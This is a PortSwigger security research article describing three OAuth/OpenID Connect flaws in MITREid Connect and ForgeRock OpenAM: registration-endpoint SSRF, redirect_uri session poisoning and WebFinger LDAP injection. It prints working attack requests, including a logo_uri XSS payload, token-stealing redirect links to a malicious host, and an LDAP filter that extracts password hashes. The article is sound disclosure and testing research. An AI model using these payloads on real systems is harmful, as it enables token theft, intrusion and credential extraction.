Hidden OAuth Attack Vectors - PortSwigger Research
Hidden OAuth Attack Vectors - PortSwigger Research
Articles
Michael Stepankin
Researcher
@artsploit
Published: 24 March 2021 at Updated: 25 March 2021 at 14:49
14:59 UTC UTC
Intro
The OAuth2 authorization protocol has been under fire for the past ten years. You've probably already heard about
plenty of "return_uri" tricks, token leakages, CSRF-style attacks on clients, and more. In this post, however, we're
going to present three brand new OAuth2 and OpenID Connect vulnerabilities: "Dynamic Client Registration:
SSRF by design", "redirect_uri Session Poisoning", and "WebFinger User Enumeration". We'll go over the
key concepts, demonstrate these attacks on two open-source OAuth servers (ForgeRock OpenAM and MITREid
Connect), and provide some tips on how you can detect these vulnerabilities yourself.
Don't fret if you're not familiar with some of the classic OAuth vulnerabilities. Although we won't discuss them here,
we've covered these extensively on our Web Security Academy: https://portswigger.net/web-security/oauth.
https://portswigger.net/research/hidden-oauth-attack-vectors 1/12
10/3/24, 5:39 AM Hidden OAuth attack vectors | PortSwigger Research
One of the hidden URLs that you may miss is the Dynamic Client Registration endpoint. In order to successfully
authenticate users, OAuth servers need to know details about the client application, such as the "client_name",
"client_secret", "redirect_uris", and so on. These details can be provided via local configuration, but OAuth
authorization servers may also have a special registration endpoint. This endpoint is normally mapped to "/register"
and accepts POST requests with the following format:
{
"application_type": "web",
"redirect_uris": ["https://client.example.org/callback"],
"client_name": "My Example",
"logo_uri": "https://client.example.org/logo.png",
"subject_type": "pairwise",
"sector_identifier_uri": "https://example.org/rdrct_uris.json",
"token_endpoint_auth_method": "client_secret_basic",
"jwks_uri": "https://client.example.org/public_keys.jwks",
"contacts": ["[email protected]"],
"request_uris": ["https://client.example.org/rf.txt"]
}
There are two specifications that define parameters in this request: RFC7591 for OAuth and Openid Connect
Registration 1.0.
As you can see here, a number of these values are passed in via URL references and look like potential targets for
Server Side Request Forgery. At the same time, most servers we've tested do not resolve these URLs immediately
when they receive a registration request. Instead, they just save these parameters and use them later during the
OAuth authorization flow. In other words, this is more like a second-order SSRF, which makes black-box detection
harder.
https://portswigger.net/research/hidden-oauth-attack-vectors 2/12
10/3/24, 5:39 AM Hidden OAuth attack vectors | PortSwigger Research
logo_uri - URL that references a logo for the client application. After you register a client, you can try to call
the OAuth authorization endpoint ("/authorize") using your new "client_id". After the login, the server will ask
you to approve the request and may display the image from the "logo_uri". If the server fetches the image by
itself, the SSRF should be triggered by this step. Alternatively, the server may just include the logo via a
client-side "<img>" tag. Although this doesn't lead to SSRF, it may lead to Cross Site Scripting if the URL is
not escaped.
jwks_uri - URL for the client's JSON Web Key Set [JWK] document. This key set is needed on the server for
validating signed requests made to the token endpoint when using JWTs for client authentication [RFC7523].
In order to test for SSRF in this parameter, register a new client application with a malicious "jwks_uri",
perform the authorization process to obtain an authorization code for any user, and then fetch the "/token"
endpoint with the following body:
grant_type=authorization_code&code=n0esc3NRze7LTCu7iYzS6a5acc3f0ogp4&client_asser
tion_type=urn:ietf:params:oauth:client-assertion-type:jwt-
bearer&client_assertion=eyJhbGci...
If vulnerable, the server should perform a server-to-server HTTP request to the supplied "jwks_uri" because it
needs this key to check the validity of the "client_assertion" parameter in your request. This will probably only
be a blind SSRF vulnerability though, as the server expects a proper JSON response.
sector_identifier_uri - This URL references a file with a single JSON array of redirect_uri values. If
supported, the server may fetch this value as soon as you submit the dynamic registration request. If this is
not fetched immediately, try to perform authorization for this client on the server. As it needs to know the
redirect_uris in order to complete the authorization flow, this will force the server to make a request to your
malicious sector_identifier_uri.
request_uris - An array of the allowed request_uris for this client. The "request_uri" parameter may be
supported on the authorization endpoint to provide a URL that contains a JWT with the request information
(see https://openid.net/specs/openid-connect-core-1_0.html#rfc.section.6.2).
Even if dynamic client registration is not enabled, or it requires authentication, we can try to perform SSRF on
the authorization endpoint simply by using "request_uri":
GET /authorize?
response_type=code%20id_token&client_id=sclient1&request_uri=https://ybd1rc7ylpbq
zygoahtjh6v0frlh96.burpcollaborator.net/request.jwt
Note: do not confuse this parameter with "redirect_uri". The "redirect_uri" is used for redirection after
authorization, whereas "request_uri" is fetched by the server at the start of the authorization process.
At the same time, many servers we've seen do not allow arbitrary "request_uri" values: they only allow
whitelisted URLs that were pre-registered during the client registration process. That's why we need to supply
"request_uris": "https://ybd1rc7ylpbqzygoahtjh6v0frlh96.burpcollaborator.net/request.jwt" beforehand.
The following parameters also contain URLs, but are not normally used for issuing server-to-server requests. They
are instead used for client-side redirection/referencing:
redirect_uri - URLs that are used for redirecting clients after the authorization
client_uri - URL of the home page of the client application
policy_uri - URL that the Relying Party client application provides so that the end user can read about how
their profile data will be used.
https://portswigger.net/research/hidden-oauth-attack-vectors 3/12
10/3/24, 5:39 AM Hidden OAuth attack vectors | PortSwigger Research
tos_uri - URL that the Relying Party client provides so that the end user can read about the Relying Party's
terms of service.
initiate_login_uri - URI using the https scheme that a third party can use to initiate a login by the RP. Also
should be used for client-side redirection.
All these parameters are optional according to the OAuth and OpenID specifications and not always supported on
a particular server, so it's always worth identifying which parameters are supported on your server.
If you target an OpenID server, the discovery endpoint at ".well-known/openid-configuration" sometimes contains
parameters such as "registration_endpoint", "request_uri_parameter_supported", and
"require_request_uri_registration". These can help you to find the registration endpoint and other server
configuration values.
It also implements OpenID Dynamic Client Registration protocol and supports registering client OAuth applications.
Although this functionality is only referenced from the admin panel, the actual "/register" endpoint does not check
the current session at all.
By looking at the source code, we discovered that MITREid Connect uses "logo_uri" in the following way:
During the registration process, the client application may specify its "logo_uri" parameter, which points to the
image associated with the application. This "logo_uri" parameter could be an arbitrary URL.
On the authorization step, when a user is asked to approve the access requested by this new application, the
authorization server makes a server-to-server HTTP request to download the image from "logo_uri"
parameter, caches it, and displays to the user alongside other information.
Since the server does not check that the retrieved content is actually an image, it may be misused by an attacker
to request any URL accessible from the authorization server and display its content, leading to a Server Side
Request Forgery attack.
This functionality may also be misused to perform a Cross Site Scripting attack, as the "getClientLogo" controller
does not enforce any image "Content-Type" header, allowing the attacker to display arbitrary HTML content from
their own URL. If this HTML contains JavaScript code, it will be executed within the authorization server domain.
Exploit
We need to send a dynamic client registration request as described above. In this case, the bare minimum
parameters we need to provide are "redirect_uri" and "logo_uri":
https://portswigger.net/research/hidden-oauth-attack-vectors 4/12
10/3/24, 5:39 AM Hidden OAuth attack vectors | PortSwigger Research
"redirect_uris": [
"http://artsploit.com/redirect"
],
"logo_uri": "http://artsploit.com/xss.html"
}
A low-privileged account is required to access the last page. If an attacker is able to obtain one via registration,
they can use this endpoint to make an arbitrary HTTP request to a local server and display its result.
Alternatively, this attack can be used against already authenticated users to perform XSS attacks, as it allows you
to inject arbitrary JavaScript on the page. As shown on the example above, a malicious "logo_uri":
"http://artsploit.com/xss.html" can be used to execute an "alert(document.domain)" function.
The {client.id} parameter is an incremental value associated with every new client that is registered with the OAuth
server. It can be obtained after the client registration without any credentials. As one default client application
already exists when the server is created, the first dynamically registered client will have the client_id "2".
As we can see from this exploit, OAuth servers may have second-order SSRF vulnerabilities in the registration
endpoint as the spec explicitly states that a number of values may be provided by URL references. These
vulnerabilities are subtle to find, but since the OAuth registration request format is standardized, it is still possible
even in black-box scenarios.
According to the OAuth specification (section 4.1.1 in RFC6749), whenever the OAuth server receives the
authorization request, it should "validate the request to ensure that all required parameters are present and valid. If
https://portswigger.net/research/hidden-oauth-attack-vectors 5/12
10/3/24, 5:39 AM Hidden OAuth attack vectors | PortSwigger Research
the request is valid, the authorization server authenticates the resource owner and obtains an authorization
decision (by asking the resource owner or by establishing approval via other means)"
Sounds simple, right? On almost all OAuth diagrams, this process is displayed as a single step, but it actually
involves three separate actions that need to be implemented by the OAuth server:
In many OAuth server implementations we've seen, these steps are separated by using three different controllers,
something like "/authorize", "/login", and "/confirm_access".
On the first step ("/authorize") the server checks "redirect_uri" and "client_id" parameters. Later, at the
"/confirm_access" stage, the server needs to use these parameters to issue the code. So how does the server
remember them? The most obvious ways would be:
As we can see here, this is something that the strict OAuth specification does not really give any advice about. As
a result, there is a diverse range of approaches to implementing this behavior.
The first approach (store in session) is quite intuitive and looks elegant in the code, but it can cause race condition
problems when multiple authorization requests are sent simultaneously for the same user.
Let's look closely at this example. The process starts with an ordinary authorization request:
/authorize?
client_id=client&response_type=code&redirect_uri=http://artsploit.com/
The server checks the parameters, stores them in the session, and displays a consent page:
https://portswigger.net/research/hidden-oauth-attack-vectors 6/12
10/3/24, 5:39 AM Hidden OAuth attack vectors | PortSwigger Research
As you can see, the request body does not contain any parameters about the client being authorized, which
means that the server takes them from the user's session. We can even spot this behavior during black-box
testing.
1. The user visits a specially crafted page (just like a typical XSS/CSRF attack scenario).
2. The page redirects to the OAuth authorization page with a "trusted" "client_id".
3. (in the background) The page sends a hidden cross-domain request to the OAuth authorization page with an
"untrustworthy" "client_id", which poisons the session.
4. The user approves the first page and, since the session contains the updated value, the user will be
redirected to the "redirect_uri" of the untrusted client.
https://portswigger.net/research/hidden-oauth-attack-vectors 7/12
10/3/24, 5:39 AM Hidden OAuth attack vectors | PortSwigger Research
In many real systems, third-party users can register their own clients, so this vulnerability may allow them to
register an arbitrary "redirect_uri" and leak a token to it.
There are some caveats, however: the user has to approve any "trusted" client. If they have already approved the
same client earlier, the server might just redirect us without asking for confirmation. Conveniently, the OpenID
specification provides us with a "prompt=consent" parameter, which we can append to the URL of the authorization
request to potentially get around this problem. If the server follows OpenID spec, it should ask the user for
confirmation of their consent even if they have previously granted it. Without confirmation, the exploitation is harder
but still feasible, depending on the particular OAuth server implementation.
During the OAuth2 flow, when a user navigates to the authorization page ("/authorize"), the AuthorizationEndpoint
class correctly checks all provided parameters (client_id, redirect_uri, scope, etc…). After that, when the user is
authenticated, the server displays a confirmation page, asking the user to approve the access. The user's browser
only sees the "/authorize" page but, internally, the server performs an internal request forwarding from "/authorize"
to "/oauth/confirm_access". In order to pass parameters from one page to another, the server uses an
"@ModelAttribute("authorizationRequest")" annotation on the "/oauth/confirm_access" controller:
@PreAuthorize("hasRole('ROLE_USER')")
@RequestMapping("/oauth/confirm_acces")
public String confimAccess(Map<String, Object> model,
@ModelAttribute("authorizationRequest") AuthorizationRequest authRequest,
Principal p) {
This annotation is a bit tricky; it not only takes parameters from the Model of the previous controller, but also takes
their values from the current HTTP request query. So, if the user navigates directly to the
"/oauth/confirm_access" endpoint in the browser, it is able to provide all AuthorizationRequest parameters from the
URL and bypass the check on the "/authorize" page.
Exploit
A malicious actor could craft two special links to the authorization and confirmation endpoints, each with its own
"redirect_uri" parameter, and supply them to the user.
/authorize?client_id=c931f431-4e3a-4e63-84f7-
948898b3cff9&response_type=code&scope=openid&prompt=consent&redirect_uri=http://
trusted.example.com/redirect
/oauth/confirm_access?client_id=c931f431-4e3a-4e63-84f7-
948898b3cff9&response_type=code&prompt=consent&scope=openid&redirectUri=http://m
alicious.example.com/steal_token
https://portswigger.net/research/hidden-oauth-attack-vectors 8/12
10/3/24, 5:39 AM Hidden OAuth attack vectors | PortSwigger Research
The "client_id" parameter can be from any client application the user already trusts. When "/confirm_access" is
accessed, it takes all the parameters from the URL and poisons the model/session. Now, when a user approves
the first request (since the "client_id" it's trusted), the authorization token is leaked to the malicious website.
*Note: You may notice an intended difference between "redirect_uri" in the first request vs "redirectUri" in the
second. This is intentional because the first one is a valid OAuth parameter whereas the second is a parameter
name that actually binds to the "AuthorizationRequest.redirectUri" model attribute during mass assignment.
The "@ModelAttribute("authorizationRequest")" annotation here is not necessary and creates additional risks
during forwarding. A safer way to perform the same action is just to take these values from the "Map<String,
Object> model" as an input parameter of the method annotated with @RequestMapping("/oauth/confirm_access").
Even if mass assignment did not exist here, this vulnerability might still be exploitable by sending two authorization
requests simultaneously so that they share the same session.
/.well-known/webfinger?
resource=http://x/anonymous&rel=http://openid.net/specs/connect/1.0/issuer
This is just another OpenID endpoint that you probably won't find during crawling, as it's meant to be used by the
OpenID client applications and these requests are not sent from the browser side. The specification says that the
"rel" parameter should have a static value of "http://openid.net/specs/connect/1.0/issuer" and "resource" should
contain a valid URL in one of the following forms:
https://portswigger.net/research/hidden-oauth-attack-vectors 9/12
10/3/24, 5:39 AM Hidden OAuth attack vectors | PortSwigger Research
http://host/user
acct://user@host
This URL is parsed on the server and not really used to send HTTP requests, so there is no SSRF here. At the
same time, you may try to find ordinary vulnerabilities like SQL injection there, as the endpoint should not require
any authentication.
The tricky part of this endpoint is the response status code: it may return a 404 if parameters are invalid or the
username is not found, so be careful when adding it to your content discovery tool.
During the source code analysis, we found that when the OpenAM server is processing the request, it embeds the
user-supplied resource parameter inside a filter query to the LDAP server. The LDAP query is built in the
SMSLdapObject.java file:
If the resource contains special characters such as "( ) ; , * |", the application does not apply any escaping to them
and subsequently includes them in the LDAP query filter.
From the attacker perspective, it is possible to use LDAP filters to access different fields of the user object stored in
LDAP. One of the attack scenarios could be to enumerate a valid username:
/openam/.well-known/webfinger?
resource=http://x/dsa*&rel=http://openid.net/specs/connect/1.0/issuer
The server responds with the HTTP code 200 (OK) if any user name starts with "dsa*" and HTTP code 404 (Not
Found) otherwise.
/openam/.well-known/webfinger?resource=http://x/dsameuser)
(sunKeyValue=userPassword=A*)
(%2526&rel=http://openid.net/specs/connect/1.0/issuer
https://portswigger.net/research/hidden-oauth-attack-vectors 10/12
10/3/24, 5:39 AM Hidden OAuth attack vectors | PortSwigger Research
This allows us to extract the user's password hash character-by-character. The attack is not only limited to
extraction of user attributes; it can also be used to extract a valid session token or private keys used for token
signing.
Again, this vulnerability exists in the standard OpenID component of the OpenAm server and does not require any
authentication.
https://portswigger.net/research/hidden-oauth-attack-vectors 11/12
10/3/24, 5:39 AM Hidden OAuth attack vectors | PortSwigger Research
We discovered this vulnerability in the latest open source version of OpenAM, located at
https://github.com/OpenRock/OpenAM. When we reported this vulnerability to ForgeRock, their security team
pointed out that it was already patched in the commercial version of their product starting from update 13.5.1 (see
OPENAM-10135 for details).
Conclusion
The OAuth and OpenID Connect protocols are complex, with many moving parts and extensions. If you test an
OAuth authorization flow on a website, you probably see just a small subset of supported parameters and available
endpoints. While Facebook, Google, and Apple can write their own implementations of these protocols, smaller
companies often use open source implementations or commercial products you can download by yourself. Dig into
documentation and RFCs, google errors, try to find the source code on Github and examine Docker containers to
identify all the functionality you can reach: you'll be amazed how many unique bugs you can find.
ActiveScan++ v1.0.22 now detects the presense of OpenId and OAuth configuration endpoints and can help you to
discover them. We also have them in the "Interesting files and directories" list in Burp Intruder.
Related Research
Introducing the URL Gotta cache 'em all: Splitting the email
validation bypass bending the rules of atom: exploiting
cheat sheet web cache parsers to bypass
03 September 2024
exploitation access controls
08 August 2024 07 August 2024
https://portswigger.net/research/hidden-oauth-attack-vectors 12/12